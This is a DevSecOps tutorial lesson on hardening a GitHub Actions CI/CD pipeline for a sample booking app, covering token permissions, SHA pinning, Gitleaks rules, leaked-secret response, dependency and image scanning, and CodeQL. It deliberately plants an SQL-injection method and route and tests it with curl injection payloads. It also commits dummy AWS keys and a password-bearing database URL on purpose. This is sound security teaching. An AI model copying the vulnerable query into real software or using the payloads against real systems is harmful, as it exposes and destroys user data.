The pipeline you built over the previous four lessons works: it tests, builds, publishes, deploys, watches and reverts on its own. It is also, right now, deliberately permissive. It has a token with more permissions than it needs, it runs third-party code pointing at tags their authors can move whenever they feel like it, it never checks whether there is a secret in the history, it does not know which vulnerabilities its dependencies drag along, it builds images nobody has scanned and it deploys artifacts whose authenticity it never verifies.
This is not an oversight on the course's part: it is the real state of 80% of pipelines in production, and it is exactly the starting point for this exercise. You are going to audit your own work, write down the list of what is wrong, and fix it piece by piece —checking every fix with a simulated attack. You will commit a secret on purpose to watch the detector catch it and run the full response procedure. You will introduce an obvious injection to watch CodeQL find it. You will try to print a secret to see that it comes out masked, and then transform it slightly to see the masking break. And you will see, with a concrete, runnable example, the attack that makes pull_request_target the most dangerous trap in GitHub Actions.
Contents
- Objective, prerequisites and starting point
- The audit: what is wrong with your pipeline
- Least-privilege
permissions - Pinning actions by SHA
- Secret detection with Gitleaks
- The response procedure for a leaked secret
- SCA:
npm audit, Dependabot and the severity policy - SAST: CodeQL and a real vulnerability
- Scanning the image with Trivy and exceptions that expire
- SBOM and signing with Cosign
- Verifying the signature before deploying
- Well-managed secrets and the limits of masking
- The risk of third-party code:
pull_request_target - The final hardening checklist
- Common Mistakes and Tips
- Exercises
- Conclusion
- Objective, prerequisites and starting point
Objective. By the end, your pipeline will have verified minimum permissions, actions pinned by SHA, the five security scans with an explicit severity policy, an SBOM and a signature verified before deploying, and no long-lived secret on the critical path.
Prerequisites. Lessons 07-01 to 07-04 completed. Docker working.
Starting point. The repository as it stands after 07-04: ci.yml, cd.yml, rollback.yml, dora.yml, the observability stack and the scripts.
- The audit: what is wrong with your pipeline
Before fixing anything, you have to see it. Walk through your own files with this list and tick off whatever you find. It is the same list you would use to audit another team's pipeline.
# Quick audit tool: which actions you use and how they are pinned
grep -rhoP '(?<=uses: ).*' .github/workflows/ | sort -u
# Which jobs declare permissions
grep -rn -A3 'permissions:' .github/workflows/
# Which secrets are used and where
grep -rn 'secrets\.' .github/workflows/| # | Finding | Where | Risk | Severity |
|---|---|---|---|---|
| 1 | Jobs with no explicit permissions |
dora.yml, cd.yml jobs |
The GITHUB_TOKEN inherits the repository default; if that is read and write, any step can write to the repo, delete branches or publish packages |
High |
| 2 | Actions pinned to a floating tag (@v4) |
Every workflow | The action's owner —or whoever compromises their account— can move v4 to malicious code that will run on your runner with your secrets |
High |
| 3 | No secret scanning | The whole repository | A committed key lives in the history forever and nobody finds out | Critical |
| 4 | No SCA | package.json |
You do not know which CVEs you carry; better-sqlite3 is a native module with C code |
High |
| 5 | No SAST | src/ |
Injections and dangerous patterns slip past human review | Medium |
| 6 | The image is not scanned | Dockerfile |
The node:20-bookworm-slim base accumulates operating-system CVEs between rebuilds |
High |
| 7 | No SBOM and no signature | Registry | You cannot answer "are we affected by CVE-X?" nor prove that the image you deploy is the one you built | Medium |
| 8 | GRAFANA_TOKEN as a repository secret |
cd.yml |
A long-lived credential reachable from any job of any workflow, including the ones you have not written yet | Medium |
| 9 | Secrets passed through env: at workflow level |
Several | Every step sees them, including the ones that run third-party code | Medium |
| 10 | No policy on what breaks the build | — | Every finding is argued from scratch and ends up ignored | Medium |
Ten findings in a pipeline you wrote yourself, following a course. That is already the first lesson: the security of a pipeline does not emerge from writing it well; you have to add it on purpose.
The plan for this lesson, in order of increasing cost and decreasing risk:
flowchart TD
A["Audit<br/>10 findings"] --> B["1. permissions<br/>least privilege"]
B --> C["2. Actions by SHA"]
C --> D["3. Gitleaks<br/>secret detection"]
D --> E["4. SCA<br/>npm audit + Dependabot"]
E --> F["5. SAST<br/>CodeQL"]
F --> G["6. Trivy<br/>image scan"]
G --> H["7. SBOM + signature<br/>Cosign keyless"]
H --> I["8. Verify signature<br/>before deploying"]
I --> J["Final checklist"]
- Least-privilege
permissions
permissionsThe GITHUB_TOKEN is a credential GitHub injects into every job and that expires when the run finishes. Its default scope depends on a repository setting, and in older repositories it is usually read and write over everything: contents, issues, packages, deployments, pages. A compromised step holding that token can push to main.
Step 1 — turn off the default tap:
Settings → Actions → General → Workflow permissions → Read repository contents and packages permissions. And untick Allow GitHub Actions to create and approve pull requests.
gh api --method PUT "repos/{owner}/{repo}/actions/permissions/workflow" \
-f default_workflow_permissions=read \
-F can_approve_pull_request_reviews=falseStep 2 — declare the minimum permission, in every workflow and in every job.
The table of what each job in the pipeline needs:
| Workflow / job | Permissions needed | Why |
|---|---|---|
ci.yml (global) |
contents: read |
Cloning only |
ci.yml → publish |
contents: read, packages: write, id-token: write |
Write to ghcr.io and sign via OIDC |
ci.yml → codeql |
contents: read, security-events: write, actions: read |
Upload results to the Security tab |
cd.yml (global) |
contents: read |
— |
cd.yml → staging/production |
contents: read, packages: read |
Pull the image |
cd.yml → web |
contents: read, pages: write, id-token: write |
Publish to Pages |
cd.yml → watch |
contents: read, actions: write |
Launch rollback.yml |
dora.yml |
contents: read, deployments: read, actions: read |
Read deployments and runs |
rollback.yml |
contents: read, packages: read |
— |
The rule: permissions at workflow level with the absolute minimum, and a targeted widening only in the job that needs it. A workflow-level permissions block replaces the default entirely: if you write packages: write there, every other permission drops to none, which is a convenient way of discovering which ones were actually needed.
# .github/workflows/ci.yml
permissions:
contents: read # everything else drops to `none`
jobs:
quality:
# no `permissions` block: inherits contents: read
...
publish:
permissions:
contents: read
packages: write # only this job can write to the registry
id-token: write # only this job can request an OIDC token
...Checking that it fails when it should fail. Temporarily remove packages: write from the publish job and push:
ERROR: failed to push ghcr.io/your-username/mini-reservalia:sha-8f3c1e2: denied: installation not allowed to Create organization package
That message is misleading —it talks about an "organization package" even on your personal account— and that is exactly why it is worth provoking once: the next time you see it in somebody else's pipeline you will know within three seconds that it is a missing permissions entry, not a registry setting.
Other messages that mean the same thing:
| Message | Missing permission |
|---|---|
Resource not accessible by integration |
Almost always contents: write, issues: write or pull-requests: write |
denied: installation not allowed to Create organization package |
packages: write |
Error: Unable to get ACTIONS_ID_TOKEN_REQUEST_URL |
id-token: write |
HttpError: Resource not accessible by integration when uploading SARIF |
security-events: write |
- Pinning actions by SHA
uses: actions/checkout@v4 means "run whatever is in the v4 tag of the actions/checkout repository today". A Git tag can be moved. If somebody compromises the account of a popular action's maintainer and moves the tag, their code runs on your runner, with access to your file system, your secrets and your GITHUB_TOKEN, in every repository in the world that uses it. This is not hypothetical: it has happened with widely used actions.
Pinning by SHA eliminates the entire class of attack, because a SHA is the content.
A script that does it for you across the whole repository:
#!/usr/bin/env bash
# scripts/pin-actions.sh
# Replaces `owner/repo@vX` with `owner/repo@<sha> # vX` in the workflows.
set -Eeuo pipefail
command -v gh >/dev/null || { echo "The GitHub CLI (gh) is required"; exit 2; }
for file in .github/workflows/*.yml; do
echo "== $file"
# Repository actions only (owner/repo@ref); local ones
# (./.github/actions/...) and docker:// ones are excluded
grep -oP '(?<=uses: )[\w.-]+/[\w.-]+(?:/[\w.-]+)*@[\w.-]+' "$file" | sort -u | while read -r ref; do
action="${ref%@*}"
version="${ref#*@}"
# If it is already 40 hex characters, it is pinned: leave it alone.
[[ "$version" =~ ^[0-9a-f]{40}$ ]] && continue
repo="$(cut -d/ -f1,2 <<< "$action")"
sha="$(gh api "repos/${repo}/git/refs/tags/${version}" --jq '.object.sha' 2>/dev/null || true)"
# Annotated tags point at a tag object, not at the commit:
# they have to be dereferenced.
if [ -n "$sha" ]; then
deref="$(gh api "repos/${repo}/git/tags/${sha}" --jq '.object.sha' 2>/dev/null || true)"
[ -n "$deref" ] && sha="$deref"
fi
[ -z "$sha" ] && { echo " ! could not resolve $ref"; continue; }
echo " $ref -> $sha"
sed -i "s|uses: ${action}@${version}\$|uses: ${action}@${sha} # ${version}|g" "$file"
done
done
echo "Done. Review the diff before committing."What you should see:
- - uses: actions/checkout@v4
+ - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
- - uses: actions/setup-node@v4
+ - uses: actions/setup-node@39370e3970a6d050c480ffad4ff0ed4d3fdee5af # v4.1.0The # v4.2.2 comment is essential: without it the file becomes unreadable and nobody knows whether it is up to date. With it, Dependabot can update it automatically (next section) and you can read it.
How to keep it up to date without manual work. Pinning by SHA without automating updates creates a different problem: actions frozen for years, with their own bugs and CVEs. The solution is Dependabot, which understands the comment and opens PRs with the new SHA. .github/dependabot.yml:
version: 2
updates:
# 1. The GitHub Actions
- package-ecosystem: github-actions
directory: /
schedule:
interval: weekly
day: monday
time: '06:00'
open-pull-requests-limit: 5
commit-message:
prefix: 'ci'
labels: ['dependencies', 'ci']
# 2. The npm dependencies
- package-ecosystem: npm
directory: /
schedule:
interval: weekly
open-pull-requests-limit: 10
commit-message:
prefix: 'deps'
labels: ['dependencies']
groups:
# Group the development ones into a single PR: 8 eslint patch PRs
# a week is the fastest way to teach the team to ignore
# Dependabot PRs.
development:
dependency-type: development
update-types: ['minor', 'patch']
ignore:
# Majors are reviewed by hand, not automatically.
- dependency-name: '*'
update-types: ['version-update:semver-major']
# 3. The base image in the Dockerfile
- package-ecosystem: docker
directory: /
schedule:
interval: weekly
labels: ['dependencies', 'docker']
- Secret detection with Gitleaks
A committed secret is a public secret, even if the repository is private and even if you delete it in the next commit: it is still in the history, in the forks, in client caches and in the third-party mirrors that scrape GitHub in real time. The average time between an AWS key being published on GitHub and somebody using it is measured in minutes.
The configuration, .gitleaks.toml:
# .gitleaks.toml
title = "Mini-Reservalia"
# We start from the ~150 default Gitleaks rules and add our own.
[extend]
useDefault = true
[[rules]]
id = "reservalia-internal-token"
description = "Reservalia internal token (rsv_...)"
regex = '''rsv_[a-zA-Z0-9]{32}'''
tags = ["key", "internal"]
[[rules]]
id = "postgres-url-with-password"
description = "PostgreSQL connection string with a password"
regex = '''postgres(?:ql)?://[^:\s]+:[^@\s]{6,}@[^\s/]+'''
tags = ["database"]
[allowlist]
description = "Known and justified false positives"
paths = [
'''package-lock\.json''', # the integrity hashes look like keys
'''(.*?)(jpg|png|webp|pdf)$''',
'''cursos_contenido/.*\.md$''',
]
regexes = [
'''EXAMPLE|SAMPLE|xxxxx|CHANGEME|placeholder''', # documentation values
'''postgres://postgres:test@localhost''', # the one from the 07-02 tests
]The job:
secrets:
name: Secret detection
runs-on: ubuntu-latest
timeout-minutes: 10
permissions:
contents: read
security-events: write
steps:
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
with:
# fetch-depth: 0 scans the WHOLE history, not just the last commit.
# It is slower but it is the only way to find what is already inside.
fetch-depth: 0
- name: Gitleaks
uses: gitleaks/gitleaks-action@83373cf2f8c4db6e24b41c1a9b086bb9619e9cd3 # v2.3.7
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
GITLEAKS_ENABLE_UPLOAD_ARTIFACT: 'true'
GITLEAKS_ENABLE_SUMMARY: 'true'Or, without depending on a third-party action —preferable by the criterion from 06-07, "less supply surface"—:
- name: Gitleaks (binary pinned by version)
run: |
set -Eeuo pipefail
VERSION=8.21.2
curl -sSL "https://github.com/gitleaks/gitleaks/releases/download/v${VERSION}/gitleaks_${VERSION}_linux_x64.tar.gz" \
| tar -xz gitleaks
./gitleaks detect \
--source . \
--config .gitleaks.toml \
--report-format sarif \
--report-path gitleaks-results.sarif \
--redact \
--verbose \
--exit-code 1
# --redact: the secrets do NOT appear in the pipeline log.
# Without it, the secret detector publishes the secret in a log
# readable by anyone with access to the repository.
- name: Upload results to the Security tab
if: always()
uses: github/codeql-action/upload-sarif@f09c1c0a94de965c15400f5634aa42fac8fb8f88 # v3.27.5
with:
sarif_file: gitleaks-results.sarif
category: gitleaksThat --redact is a detail people forget constantly and that turns the tool into its own problem: without it, the job log shows the full key, and Actions logs are visible to every collaborator and are retained for 90 days.
Add it as a local hook too, because detecting it in CI means it has already been pushed:
npm install --save-dev husky
npx husky init
cat > .husky/pre-commit <<'EOF'
#!/usr/bin/env sh
# Scans ONLY what is about to be committed: fast (< 1 s).
if command -v gitleaks >/dev/null 2>&1; then
gitleaks protect --staged --config .gitleaks.toml --redact --verbose || {
echo ""
echo "❌ A possible secret has been detected in the staged changes."
echo " Take it out of the code and use an environment variable or a repository secret."
echo " If it is a false positive, add it to the allowlist in .gitleaks.toml."
exit 1
}
fi
npm run lint && npm test
EOF
chmod +x .husky/pre-commit
- The response procedure for a leaked secret
Now the part of the exercise that really teaches. We are going to leak a secret on purpose.
git checkout -b leak-test-secret
cat > src/temp-config.js <<'EOF'
// TEST FILE - it will be deleted. It is NOT a real secret.
export const CONFIG = {
// An AWS key with the exact format the detectors look for.
awsAccessKeyId: 'AKIAIOSFODNN7EXAMPLE',
awsSecretAccessKey: 'wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY',
internalToken: 'rsv_a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6',
database: 'postgres://admin:SuperSecret2026@db.production.internal:5432/reservalia',
};
EOF
git add src/temp-config.js
git commit -m "feat: temporary configuration" # the hook blocks it if you installed itIf the hook blocks it, that is already half the lesson. Skip it on purpose to see the rest of the flow:
git commit --no-verify -m "feat: temporary configuration"
git push -u origin leak-test-secret
gh pr create --fillWhat you should see:
- The
Secret detectionjob in red. - In the log, with
--redact:Finding: awsAccessKeyId: 'REDACTED' Secret: REDACTED RuleID: aws-access-token File: src/temp-config.js Line: 5 Commit: 3f8a1c2... Author: Your Name ... 4 leaks found - In the Security → Code scanning tab, four new alerts under the
gitleakscategory, each anchored to its line. - The
CI OKcheck in red and the PR blocked.
The procedure, in the right order
This is the substance of the lesson. The order is not negotiable and almost everybody gets it backwards.
flowchart TD
D["Detection"] --> R1["1. ROTATE<br/>invalidate the credential<br/>minutes"]
R1 --> R2["2. INVESTIGATE<br/>review accesses with that credential"]
R2 --> R3["3. CLEAN<br/>rewrite the history<br/>hours or days"]
R3 --> R4["4. PREVENT<br/>hook + CI + training"]
R4 --> R5["5. POST-MORTEM<br/>blameless"]
Step 1 — ROTATE. First, and right now.
Invalidate the credential in the system that issued it. In AWS: deactivate the key and create a new one. With a provider: revoke the token. In a database: change the password.
# Example with AWS (the Reservalia equivalent)
aws iam update-access-key --access-key-id AKIA... --status Inactive --user-name ci-service
aws iam create-access-key --user-name ci-service
# ...update the secret in GitHub...
aws iam delete-access-key --access-key-id AKIA... --user-name ci-service
# In GitHub
gh secret set AWS_ACCESS_KEY_ID --body "AKIA_NEW"Why first. Because cleaning the history invalidates nothing. As long as the credential is still valid, it is still usable by anyone who has already copied it —and the bots that scrape GitHub copied it in the first few minutes. Rewriting the history is a job of hours that also requires coordinating the whole team; rotating takes two minutes. Every minute you spend cleaning before rotating is a minute the door stays open.
There is an important nuance that reinforces the order: rewriting the history tips off the attacker. A force-push that deletes a commit is a clear signal of "we have noticed". If you have not rotated yet, you have just put them in a hurry.
Step 2 — INVESTIGATE the usage.
# AWS CloudTrail: what was done with that key and from where
aws cloudtrail lookup-events \
--lookup-attributes AttributeKey=AccessKeyId,AttributeValue=AKIA... \
--start-time "$(date -u -d '30 days ago' +%Y-%m-%dT%H:%M:%SZ)" \
--max-results 50Questions to answer: was it used from an unknown IP? Were resources created? Was data accessed? If the answer to any of these is yes, this stops being a pipeline security incident and becomes a breach, with whatever legal obligations that entails.
Step 3 — CLEAN the history.
# git-filter-repo is the recommended tool (filter-branch is deprecated)
pip install git-filter-repo
# Option A: remove the whole file from the entire history
git filter-repo --path src/temp-config.js --invert-paths --force
# Option B: replace only the values, keeping the files
cat > /tmp/replacements.txt <<'EOF'
AKIAIOSFODNN7EXAMPLE==>ROTATED-SEE-INCIDENT-42
wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY==>ROTATED-SEE-INCIDENT-42
SuperSecret2026==>ROTATED-SEE-INCIDENT-42
EOF
git filter-repo --replace-text /tmp/replacements.txt --force
# Rewrite the remote (COORDINATE it with the whole team first)
git remote add origin https://github.com/YOUR_USERNAME/mini-reservalia.git
git push origin --force --all
git push origin --force --tagsAnd the bit almost nobody does, even though it is what really closes the hole:
# The PRs, issues and comments that cite the commit keep copies.
# So does the GitHub cache. You have to ask support to purge it:
# https://support.github.com/contact -> "Remove cached views"
# Also: every FORK of the repository keeps the COMPLETE commit,
# and you cannot delete other people's forks.That last reality is what justifies the whole order above. A secret that has been in a repository with forks cannot be deleted. It can only be rotated.
Step 4 — PREVENT. The pre-commit hook, the CI job, one full scan of the entire history, and training the team on where secrets go.
Step 5 — BLAMELESS POST-MORTEM. The right question is not "who committed the key?" but "why was it possible?". And the answers are usually systemic: there was no hook, the .gitignore did not cover the configuration file, the local workflow forced you to write the key into a file, nobody had explained where secrets go. All of those can be fixed; "be more careful" cannot.
Clean up the exercise:
git checkout main
git branch -D leak-test-secret
git push origin --delete leak-test-secret
gh pr close <number> 2>/dev/null || true
- SCA:
npm audit, Dependabot and the severity policy
npm audit, Dependabot and the severity policySoftware composition analysis (SCA) looks for known vulnerabilities in your dependencies. Mini-Reservalia has few, but better-sqlite3 drags native code along and the development tree has more than a hundred packages.
npm audit --json | jq '.metadata.vulnerabilities'
# { "info": 0, "low": 2, "moderate": 1, "high": 0, "critical": 0, "total": 3 }The problem with a bare npm audit --audit-level=high is that it treats a critical vulnerability in production the same as a moderate one in a development tool that never runs with user data. The predictable result: the build breaks over something irrelevant, somebody adds || true, and the scan ceases to exist.
The policy, explicit and in the repository. security/POLICY.md:
# Severity policy
| Severity | Production | Development | Action | Deadline |
|---|---|---|---|---|
| **Critical** | Breaks the build | Breaks the build | Immediate block | 24 h |
| **High** | Breaks the build | Opens a ticket | Blocked in production | 7 days |
| **Medium** | Opens a ticket | Opens a ticket | Does not block | 30 days |
| **Low** | Reports | Reports | Quarterly review | — |
**Exceptions.** Every exception requires: (a) a written justification,
(b) an expiry date no more than 90 days away, (c) approval from a second
reviewer. They are recorded in `security/exceptions.json` and **they expire on their own**:
once the date passes, the build breaks again.
**No `|| true`.** If a scan cannot break the build, it is not a control.
If something must not break it, that is decided here, not in the YAML.The implementation with jq, scripts/audit-dependencies.sh:
#!/usr/bin/env bash
# Applies the severity policy on top of `npm audit --json`.
set -Eeuo pipefail
REPORT="${REPORT:-reports/audit.json}"
EXCEPTIONS="${EXCEPTIONS:-security/exceptions.json}"
mkdir -p "$(dirname "$REPORT")"
# `|| true`: npm audit exits with a code != 0 when it finds something.
# Here we are NOT ignoring the result: we process it ourselves with the policy.
npm audit --json > "$REPORT" 2>/dev/null || true
TODAY="$(date -u +%Y-%m-%d)"
# --- Active exceptions (expired ones are ignored on purpose) ------------------
ACTIVE='[]'
if [ -f "$EXCEPTIONS" ]; then
ACTIVE=$(jq --arg today "$TODAY" '[.exceptions[] | select(.expires >= $today) | .id]' "$EXCEPTIONS")
EXPIRED=$(jq --arg today "$TODAY" '[.exceptions[] | select(.expires < $today)]' "$EXCEPTIONS")
N_EXPIRED=$(jq 'length' <<< "$EXPIRED")
if [ "$N_EXPIRED" -gt 0 ]; then
echo "::warning::$N_EXPIRED security exception(s) have expired and block again:"
jq -r '.[] | " - \(.id): \(.reason) (expired on \(.expires))"' <<< "$EXPIRED"
fi
fi
# --- Classify the findings ---------------------------------------------------
BLOCKING=$(jq --argjson exc "$ACTIVE" '
[ .vulnerabilities // {} | to_entries[]
| select(.value.severity == "critical" or .value.severity == "high")
| select((.value.isDirect == true) or (.value.effects | length) > 0)
| select((.key | IN($exc[])) | not)
| { package: .key, severity: .value.severity, via: (.value.via | map(if type=="object" then .title else . end)) }
]' "$REPORT")
N_BLOCK=$(jq 'length' <<< "$BLOCKING")
SUMMARY=$(jq -r '.metadata.vulnerabilities | "critical: \(.critical) · high: \(.high) · medium: \(.moderate) · low: \(.low)"' "$REPORT")
{
echo "## Dependency audit"
echo ""
echo "**Summary:** $SUMMARY"
echo ""
if [ "$N_BLOCK" -gt 0 ]; then
echo "### ❌ $N_BLOCK blocking finding(s)"
echo ""
echo "| Package | Severity | Detail |"
echo "|---|---|---|"
jq -r '.[] | "| `\(.package)` | \(.severity) | \(.via | join(", ") | .[0:90]) |"' <<< "$BLOCKING"
else
echo "### ✅ No blocking findings under the policy"
fi
echo ""
echo "> Full policy in [\`security/POLICY.md\`](security/POLICY.md)"
} >> "${GITHUB_STEP_SUMMARY:-/dev/stdout}"
if [ "$N_BLOCK" -gt 0 ]; then
echo "::error::$N_BLOCK critical/high vulnerability(ies) with no active exception"
jq -r '.[] | " - \(.package) [\(.severity)]"' <<< "$BLOCKING"
exit 1
fi
echo "Audit passed: $SUMMARY"security/exceptions.json:
{
"$comment": "Security exceptions. Every one of them EXPIRES. See security/POLICY.md.",
"exceptions": [
{
"id": "example-package",
"severity": "high",
"reason": "Only affects parsing of SVG files uploaded by the user; Mini-Reservalia accepts no uploads. No patch yet (upstream #1234).",
"approved_by": "@marta",
"created": "2026-04-10",
"expires": "2026-07-09",
"review": "Check whether upstream has released the patch"
}
]
}Three properties that let this policy survive contact with a real team:
- Exceptions expire on their own. Once the date passes, the build breaks again and a warning is emitted. An exception with no expiry is a
|| truewith better presentation. - Production is distinguished from development. A CVE in a build tool is a genuine risk (it could compromise the supply chain), but not the same as one in code that processes requests from the internet.
- They live in the repository. They are reviewed in a PR, they have an author and a date, and anybody can audit why each risk was accepted.
- SAST: CodeQL and a real vulnerability
Static application security testing looks for dangerous patterns in your code, not in other people's. CodeQL is free on public repositories.
codeql:
name: SAST (CodeQL)
runs-on: ubuntu-latest
timeout-minutes: 20
permissions:
contents: read
security-events: write
actions: read
steps:
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
- name: Initialise CodeQL
uses: github/codeql-action/init@f09c1c0a94de965c15400f5634aa42fac8fb8f88 # v3.27.5
with:
languages: javascript-typescript
# `security-extended` adds queries with lower precision but wider
# coverage. On a small project the noise is acceptable; on a large
# one, start with `security-and-quality` and move up from there.
queries: security-extended
- name: Analyse
uses: github/codeql-action/analyze@f09c1c0a94de965c15400f5634aa42fac8fb8f88 # v3.27.5
with:
category: '/language:javascript-typescript'Now introduce an obvious vulnerability to check that the scanner is worth something. In src/repository-sqlite.js, add a deliberately bad method:
/**
* VULNERABLE ON PURPOSE - exercise from lesson 07-05.
* Concatenates user input into the SQL query.
*/
findByCustomer(name) {
// ❌ SQL INJECTION: `name` comes from a request parameter.
// With name = "' OR '1'='1" it returns ALL the appointments.
// With name = "'; DROP TABLE appointments; --" the table is lost.
return this.#db.prepare(`SELECT * FROM appointments WHERE customer = '${name}'`).all();
}And in src/server.js, the route that exposes it (so that CodeQL sees the complete path from user input to the query, which is what its data-flow analysis looks for):
if (req.method === 'GET' && url.pathname === '/api/search') {
const name = url.searchParams.get('customer') ?? '';
// ❌ `name` goes unsanitised into a query built by concatenation
return respondJson(res, 200, { results: repository.findByCustomer(name) });
}Push it in a PR and wait for the analysis (2-4 minutes).
What you should see in Security → Code scanning:
Database query built from user-controlled sources High
src/repository-sqlite.js:52
This query depends on a user-provided value.
← flows from: url.searchParams.get('customer') (src/server.js:78)Click on the alert: CodeQL draws the complete path from the request parameter to the query. That data-flow analysis is what separates SAST from a regular expression: it is not looking for the string SELECT ... ${, it is looking for a user-controlled value reaching a dangerous sink, even if it passes through three functions and two files.
Prove the impact to yourself before fixing it:
npm start &
curl -s "localhost:3000/api/search?customer=Ana"
# {"results":[{"id":1,"customer":"Ana",...}]}
curl -s "localhost:3000/api/search?customer=%27%20OR%20%271%27=%271"
# {"results":[ ...ALL the appointments of ALL the customers... ]}The fix:
/**
* Finds appointments by exact customer name.
* PREPARED statement with a parameter: the engine treats the value as DATA,
* never as SQL. Injection is impossible by construction, not by
* sanitising. Sanitising is a patch; parameterising is the solution.
*/
findByCustomer(name) {
if (typeof name !== 'string' || name.length === 0 || name.length > 80) {
throw new TypeError('invalid customer name');
}
return this.#db
.prepare('SELECT id, date, start, end, customer FROM appointments WHERE customer = ? ORDER BY date, start')
.all(name);
}And a test that prevents the regression:
// test/injection.test.js
import test, { describe, beforeEach } from 'node:test';
import assert from 'node:assert/strict';
import { SqliteRepository } from '../src/repository-sqlite.js';
describe('resistance to SQL injection', () => {
let repo;
beforeEach(() => {
repo = new SqliteRepository(':memory:');
repo.createAppointment({ date: '2026-03-02', start: '10:00', end: '10:30', customer: 'Ana' });
repo.createAppointment({ date: '2026-03-02', start: '11:00', end: '11:30', customer: 'Diego' });
});
test("' OR '1'='1 does not return every row", () => {
assert.deepEqual(repo.findByCustomer("' OR '1'='1"), []);
});
test('an injected DROP TABLE destroys nothing', () => {
repo.findByCustomer("'; DROP TABLE appointments; --");
assert.equal(repo.listAppointments('2026-03-02').length, 2); // the table is still there
});
test('a name with a single quote is searched literally', () => {
repo.createAppointment({ date: '2026-03-03', start: '10:00', end: '10:30', customer: "O'Brien" });
assert.equal(repo.findByCustomer("O'Brien").length, 1);
});
});That last test is the one that proves you have parameterised and not escaped: with a homemade sanitiser that strips quotes, O'Brien would never be found.
Push the fix and watch the alert move to Closed in the Security tab, with the note "Fixed in commit ...".
- Scanning the image with Trivy and exceptions that expire
Your image is not just your code: it is Debian, OpenSSL, glibc, the Node runtime and everything they drag along. Those layers accumulate CVEs without you changing a single line.
- name: Scan the image with Trivy
uses: aquasecurity/trivy-action@18f2510ee396bbf400402947b394f2dd8c87dbb0 # 0.29.0
with:
image-ref: ghcr.io/${{ github.repository }}@${{ steps.build.outputs.digest }}
format: sarif
output: trivy.sarif
severity: 'CRITICAL,HIGH'
# `0` here: we do NOT break with the action, so we can ALWAYS upload
# the SARIF to the Security tab. The decision to break is taken by
# the next step, with OUR policy and OUR exceptions.
exit-code: '0'
ignore-unfixed: true # with no patch available there is no possible action
trivyignores: security/.trivyignore
- name: Upload results to Security
if: always()
uses: github/codeql-action/upload-sarif@f09c1c0a94de965c15400f5634aa42fac8fb8f88 # v3.27.5
with:
sarif_file: trivy.sarif
category: trivy-image
- name: Apply the severity policy to the image
run: |
set -Eeuo pipefail
docker run --rm -v "$PWD:/w" -w /w \
aquasec/trivy:0.58.0 image \
--format json --output /w/trivy.json \
--severity CRITICAL,HIGH --ignore-unfixed \
--ignorefile /w/security/.trivyignore \
"ghcr.io/${{ github.repository }}@${{ steps.build.outputs.digest }}"
CRIT=$(jq '[.Results[]?.Vulnerabilities[]? | select(.Severity=="CRITICAL")] | length' trivy.json)
HIGH=$(jq '[.Results[]?.Vulnerabilities[]? | select(.Severity=="HIGH")] | length' trivy.json)
{
echo "## Image scan (Trivy)"
echo ""
echo "| Severity | With a patch available |"
echo "|---|---|"
echo "| CRITICAL | $CRIT |"
echo "| HIGH | $HIGH |"
echo ""
if [ "$CRIT" -gt 0 ] || [ "$HIGH" -gt 0 ]; then
echo "| CVE | Package | Installed | Fixed in |"
echo "|---|---|---|---|"
jq -r '[.Results[]?.Vulnerabilities[]?
| select(.Severity=="CRITICAL" or .Severity=="HIGH")]
| unique_by(.VulnerabilityID) | .[]
| "| \(.VulnerabilityID) | \(.PkgName) | \(.InstalledVersion) | \(.FixedVersion // "—") |"' trivy.json
fi
} >> "$GITHUB_STEP_SUMMARY"
# Policy: criticals ALWAYS break; highs only on main.
if [ "$CRIT" -gt 0 ]; then
echo "::error::$CRIT CRITICAL vulnerability(ies) with a patch available in the image"
exit 1
fi
if [ "$HIGH" -gt 0 ] && [ "${{ github.ref }}" = "refs/heads/main" ]; then
echo "::error::$HIGH HIGH vulnerability(ies) with a patch available; not publishing from main"
exit 1
fi
echo "Image scan passed."security/.trivyignore —with the comment format that makes the exceptions auditable—:
# IMAGE SCAN EXCEPTIONS # Format: every CVE carries a JUSTIFICATION, an APPROVER and an EXPIRY. # The `exception-expiry` job fails when one goes past its date. # CVE-2024-XXXXX # Package: libsomething 2.1.0 # Justification: only exploitable when processing TIFF files; Mini-Reservalia # does not process images. Debian has published no backport. # Approved by: @marta # Created: 2026-04-10 # EXPIRES: 2026-07-09 CVE-2024-XXXXX
And the job that makes those dates mean something:
exception-expiry:
name: Exception expiry
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
- name: Check that no exception has expired
run: |
set -Eeuo pipefail
TODAY=$(date -u +%Y-%m-%d)
EXPIRED=0
# Walks the comment blocks looking for "EXPIRES: date"
while read -r line; do
DATE=$(grep -oP '(?<=EXPIRES:\s{7})\S+|(?<=EXPIRES:\s)\S+' <<< "$line" | head -1)
[ -z "$DATE" ] && continue
if [[ "$DATE" < "$TODAY" ]]; then
echo "::error::Exception expired on $DATE: $line"
EXPIRED=$((EXPIRED + 1))
fi
done < <(grep -h 'EXPIRES:' security/.trivyignore || true)
# And the npm audit ones
if [ -f security/exceptions.json ]; then
N=$(jq --arg t "$TODAY" '[.exceptions[] | select(.expires < $t)] | length' security/exceptions.json)
[ "$N" -gt 0 ] && { echo "::error::$N expired dependency exception(s)"; EXPIRED=$((EXPIRED+N)); }
fi
[ "$EXPIRED" -eq 0 ] || { echo "There are $EXPIRED expired exception(s). Renew them or fix the problem."; exit 1; }
echo "All exceptions are still active."Reduce the surface instead of justifying CVEs. The most effective way to pass the scan is not to pile up exceptions but to have less to scan. Try a distroless final image:
# ---------- Alternative stage 3: distroless ----------
FROM gcr.io/distroless/nodejs20-debian12:nonroot AS runtime
WORKDIR /app
COPY --from=deps --chown=nonroot:nonroot /app/node_modules ./node_modules
COPY --from=build --chown=nonroot:nonroot /app/dist ./dist
USER nonroot
EXPOSE 3000
# No shell: the ENTRYPOINT is the node binary directly.
CMD ["dist/src/server.js"]A real comparison on this project:
| Base image | Size | HIGH/CRITICAL CVEs | Shell | Package manager |
|---|---|---|---|---|
node:20 |
~1.1 GB | 40-80 | Yes | Yes |
node:20-bookworm-slim |
~230 MB | 5-20 | Yes | Yes |
gcr.io/distroless/nodejs20 |
~180 MB | 0-3 | No | No |
